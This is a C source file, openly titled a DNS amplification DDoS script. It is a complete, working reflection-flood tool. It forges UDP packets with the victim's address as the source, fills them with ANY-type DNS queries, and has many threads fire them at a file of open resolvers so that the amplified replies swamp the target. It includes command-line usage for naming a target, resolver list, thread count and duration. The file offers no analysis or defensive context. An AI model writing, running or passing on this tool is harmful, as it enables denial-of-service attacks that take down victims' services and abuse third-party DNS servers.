drdos.c

/* DNS AMPLIFICATION DDOS SKRIPT */

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
#define PACKETS_PER_RESOLVER 25

static uint32_t Q[4096], c = 362436;

struct list
{
                 struct sockaddr_in data;
                 char domain[512];
                 int line;
                 struct list *next;
                 struct list *prev;
};
struct list *head;

struct thread_data{
                 int thread_id;
                 struct list *list_node;
                 struct sockaddr_in sin;
                 int port;
};

struct DNS_HEADER
{
                 unsigned short id; // identification number

                 unsigned char rd :1; // recursion desired
                 unsigned char tc :1; // truncated message
                 unsigned char aa :1; // authoritive answer
                 unsigned char opcode :4; // purpose of message
                 unsigned char qr :1; // query/response flag

                 unsigned char rcode :4; // response code
                 unsigned char cd :1; // checking disabled
                 unsigned char ad :1; // authenticated data
                 unsigned char z :1; // its z! reserved
                 unsigned char ra :1; // recursion available

                 unsigned short q_count; // number of question entries
                 unsigned short ans_count; // number of answer entries
                 unsigned short auth_count; // number of authority entries
                 unsigned short add_count; // number of resource entries
};

//Constant sized fields of query structure
struct QUESTION
{
         unsigned short qtype;
         unsigned short qclass;
};

//Constant sized fields of the resource record structure
struct QUERY
{
                 unsigned char *name;
                 struct QUESTION *ques;
};

void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
                 int lock = 0 , i;
                 strcat((char*)host,".");

                 for(i = 0 ; i < strlen((char*)host) ; i++)
                 {
                                 if(host[i]=='.')
                                 {
                                                 *dns++ = i-lock;
                                                 for(;lock<i;lock++)
                                                 {
                                                                 *dns++=host[lock];
                                                 }
                                                 lock++; //or lock=i+1;
                                 }
                 }
                 *dns++='\0';
}

void init_rand(uint32_t x)
{
                 int i;

                 Q[0] = x;
                 Q[1] = x + PHI;
                 Q[2] = x + PHI + PHI;

                 for (i = 3; i < 4096; i++)
                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}

uint32_t rand_cmwc(void)
{
                 uint64_t t, a = 18782LL;
                 static uint32_t i = 4095;
                 uint32_t x, r = 0xfffffffe;
                 i = (i + 1) & 4095;
                 t = a * Q[i] + c;
                 c = (t >> 32);
                 x = t + c;
                 if (x < c) {
                                 x++;
                                 c++;
                 }
                 return (Q[i] = r - x);
}

/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
                 unsigned long sum;
                 for (sum = 0; nwords > 0; nwords--)
                 sum += *buf++;
                 sum = (sum >> 16) + (sum & 0xffff);
                 sum += (sum >> 16);
                 return (unsigned short)(~sum);
}

void setup_udp_header(struct udphdr *udph)
{

}

void *flood(void *par1)
{
                 struct thread_data *td = (struct thread_data *)par1;

                 char strPacket[MAX_PACKET_SIZE];
                 int iPayloadSize = 0;

                 struct sockaddr_in sin = td->sin;
                 struct list *list_node = td->list_node;
                 int iPort = td->port;

                 int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
                 if(s < 0)
                 {
                         fprintf(stderr, "Error: Could not open raw socket. Root privileges are required!\n");
                         exit(-1);
                 }

                 //init random
                 init_rand(time(NULL));

                 // Clear the data
                 memset(strPacket, 0, MAX_PACKET_SIZE);

                 // Make the packet
                 struct iphdr *iph = (struct iphdr *) &strPacket;
                 iph->ihl = 5;
                 iph->version = 4;
                 iph->tos = 0;
                 iph->tot_len = sizeof(struct iphdr) + 38;
                 iph->id = htonl(54321);
                 iph->frag_off = 0;
                 iph->ttl = MAXTTL;
                 iph->protocol = IPPROTO_UDP;
                 iph->check = 0;
                 iph->saddr = inet_addr("192.168.3.100");

                 iPayloadSize += sizeof(struct iphdr);


                 struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
                 udph->source = htons(iPort);
                 udph->dest = htons(53);
                 udph->check = 0;

                 iPayloadSize += sizeof(struct udphdr);

                 struct DNS_HEADER *dns  = (struct DNS_HEADER *) &strPacket[iPayloadSize];
                 dns->id = (unsigned short) htons(rand_cmwc());
                 dns->qr = 0; //This is a query
                 dns->opcode = 0; //This is a standard query
                 dns->aa = 0; //Not Authoritative
                 dns->tc = 0; //This message is not truncated
                 dns->rd = 1; //Recursion Desired
                 dns->ra = 0; //Recursion not available! hey we dont have it (lol)
                 dns->z = 0;
                 dns->ad = 0;
                 dns->cd = 0;
                 dns->rcode = 0;
                 dns->q_count = htons(1); //we have only 1 question
                 dns->ans_count = 0;
                 dns->auth_count = 0;
                 dns->add_count = htons(1);

                 iPayloadSize += sizeof(struct DNS_HEADER);

                 sin.sin_port = udph->source;
                 iph->saddr = sin.sin_addr.s_addr;
                 iph->daddr = list_node->data.sin_addr.s_addr;
                 iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);


                 char strDomain[512];
                 int i;
                 int j = 0;
                 int iAdditionalSize = 0;
                 while(1)
                 {
                         if(j==2){
                                 usleep(100);
                                 j=0;
                         }



                         //set the next node
                         list_node = list_node->next;

                         //Clear the old domain and question
                         memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);

                         //add the chosen domain and question
                         iAdditionalSize = 0;

                         unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];

                         strcpy(strDomain, list_node->domain);
                         ChangetoDnsNameFormat(qname, strDomain);
                         //printf("!!%s %d\n", list_node->domain, list_node->line);

                         iAdditionalSize += strlen(qname) + 1;

                         struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
                         qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
                         qinfo->qclass = htons(1);

                         iAdditionalSize += sizeof(struct QUESTION);

                         strPacket[iPayloadSize + iAdditionalSize] = 0x00;
                         strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
                         strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
                         strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
                         strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
                         strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
                         strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
                         strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
                         strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
                         strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
                         strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
                         strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;

                         iAdditionalSize += 11;


                         //set new node data
                         iph->daddr = list_node->data.sin_addr.s_addr;

                         udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
                         iph->tot_len = iPayloadSize + iAdditionalSize;

                         udph->source = htons(rand_cmwc() & 0xFFFF);
                         iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);

                         //send
                         for(i = 0; i < PACKETS_PER_RESOLVER; i++)
                         {
                                 sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
                         }

                         j++;
                 }
}

void ParseResolverLine(char *strLine, int iLine)
{
         char caIP[32] = "";
         char caDNS[512] = "";

         int i;
         char buffer[512] = "";

         int moved = 0;

         for(i = 0; i < strlen(strLine); i++)
         {
                 if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
                 {
                         moved++;
                         continue;
                 }

                 if(moved == 0)
                 {
                         caIP[strlen(caIP)] = (char) strLine[i];
                 }
                 else if(moved == 1)
                 {
                         caDNS[strlen(caDNS)] = (char) strLine[i];
                 }
         }

         //printf("Found resolver %s, domain %s!\n", caIP, caDNS);

         if(head == NULL)
         {
                 head = (struct list *)malloc(sizeof(struct list));

                 bzero(&head->data, sizeof(head->data));

                 head->data.sin_addr.s_addr=inet_addr(caIP);
                 head->data.sin_port=htons(53);
                 strcpy(head->domain, caDNS);
                 head->line = iLine;
                 head->next = head;
                 head->prev = head;
         }
         else
         {
                 struct list *new_node = (struct list *)malloc(sizeof(struct list));

                 memset(new_node, 0x00, sizeof(struct list));

                 new_node->data.sin_addr.s_addr=inet_addr(caIP);
                 new_node->data.sin_port=htons(53);
                 strcpy(new_node->domain, caDNS);
                 new_node->prev = head;
                 head->line = iLine;
                 new_node->next = head->next;
                 head->next = new_node;
         }
}

int main(int argc, char *argv[ ])
{
         if(argc < 4)
         {
                 fprintf(stderr, "Invalid parameters!\n");
                 fprintf(stderr, "Usage: %s <target> <port> <nameserver file> <threads> [time]\n", argv[0]);
                 exit(-1);
         }

         head = NULL;

         char *strLine = (char *) malloc(256);
         strLine = memset(strLine, 0x00, 256);

         char strIP[32] = "";
         char strDomain[256] = "";

         int iLine = 0; // 0 = ip, 1 = domain.

         FILE *list_fd = fopen(argv[3],  "r");
         while(fgets(strLine, 256, list_fd) != NULL)
         {
                 ParseResolverLine(strLine, iLine);
                 iLine++;
         }


         int i = 0;
         int num_threads = atoi(argv[4]);

         struct list *current = head->next;
         pthread_t thread[num_threads];
         struct sockaddr_in sin;
         sin.sin_family = AF_INET;
         sin.sin_port = htons(0);
         sin.sin_addr.s_addr = inet_addr(argv[1]);
         struct thread_data td[num_threads];

         int iPort = atoi(argv[2]);

         printf("Target: %s:%d\n", argv[1], iPort);

         for(i = 0; i < num_threads; i++)
         {
                 td[i].thread_id = i;
                 td[i].sin= sin;
                 td[i].list_node = current;
                 td[i].port = iPort;
                 pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);

         }

         fprintf(stdout, "Starting flood..\n");

         if(argc > 4)
         {
                 sleep(atoi(argv[5]));
         }
         else
         {
                 while(1)
                 {
                         sleep(1);
                 }
         }

         return 0;
}